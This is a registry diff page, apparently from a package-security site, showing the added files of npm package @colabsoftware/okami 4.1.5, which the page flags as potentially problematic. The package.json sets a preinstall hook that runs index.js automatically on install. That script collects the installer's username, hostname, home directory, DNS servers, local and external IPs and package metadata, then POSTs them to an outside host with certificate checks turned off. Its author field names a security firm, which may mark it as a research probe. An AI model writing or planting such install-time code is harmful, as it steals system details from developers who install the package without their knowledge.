@colabsoftware/okami 4.1.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @colabsoftware/okami might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +76 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,76 @@
1
+ const os = require("os");
2
+ const net = require('net');
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const nets = os.networkInterfaces();
10
+ const local_ips = Object.create(null);
11
+
12
+ try {
13
+ for (const name of Object.keys(nets)) {
14
+ for (const net of nets[name]) {
15
+ const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
16
+ if (net.family === familyV4Value && !net.internal) {
17
+ if (!local_ips[name]) {
18
+ local_ips[name] = [];
19
+ }
20
+ local_ips[name].push(net.address);
21
+ }
22
+ }
23
+ }
24
+ } catch {
25
+ }
26
+
27
+ const req_ip = https.get({'host': 'api.ipify.org', 'port': 443, 'path': '/'}, function(resp) {
28
+ let external_ip = "";
29
+ resp.on('data', function(ip) {
30
+ external_ip = ip.toString();
31
+ });
32
+ resp.on('end', function() { execute(external_ip)} );
33
+ });
34
+
35
+ req_ip.end();
36
+
37
+ function execute(external_ip) {
38
+ const trackingData = JSON.stringify({
39
+ p: package,
40
+ c: __dirname,
41
+ hd: os.homedir(),
42
+ hn: os.hostname(),
43
+ un: os.userInfo().username,
44
+ dns: dns.getServers(),
45
+ r: packageJSON ? packageJSON.___resolved : undefined,
46
+ v: packageJSON.version,
47
+ pjson: packageJSON,
48
+ local_ips: local_ips,
49
+ external_ip: external_ip,
50
+ });
51
+
52
+ var postData = querystring.stringify({
53
+ msg: trackingData,
54
+ });
55
+
56
+ var options = {
57
+ hostname: "ch96qej3gudd440a6n2g5cejys7bw4wwt.x.gosecure.red",
58
+ port: 443,
59
+ path: "/",
60
+ method: "POST",
61
+ headers: {
62
+ "Content-Type": "application/x-www-form-urlencoded",
63
+ "Content-Length": postData.length,
64
+ },
65
+ rejectUnauthorized: false,
66
+ };
67
+
68
+ var req = https.request(options, (res) => {
69
+ res.on("data", (d) => {
70
+ process.stdout.write(d);
71
+ });
72
+ });
73
+
74
+ req.write(postData);
75
+ req.end();
76
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@colabsoftware/okami",
3
+ "version": "4.1.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "GoSecure",
11
+ "license": "None"
12
+ }